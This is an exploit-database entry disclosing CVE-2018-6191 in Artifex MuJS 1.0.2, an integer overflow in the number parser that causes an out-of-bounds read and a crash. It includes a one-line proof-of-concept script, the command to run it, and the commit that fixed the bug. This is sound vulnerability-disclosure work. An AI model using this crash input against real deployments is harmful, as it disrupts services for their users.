Artifex MuJS 1.0.2 - Denial of Service Exploit

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.
 
# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191
 
Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}
 
Run it
$ mujs poc.js
 
Additional details about the bug:
 
Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714
 
exp = -exp;
 
the value of "exp" is still negative (cause integer declaration).
 
Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
)

#  0day.today [2018-02-18]  #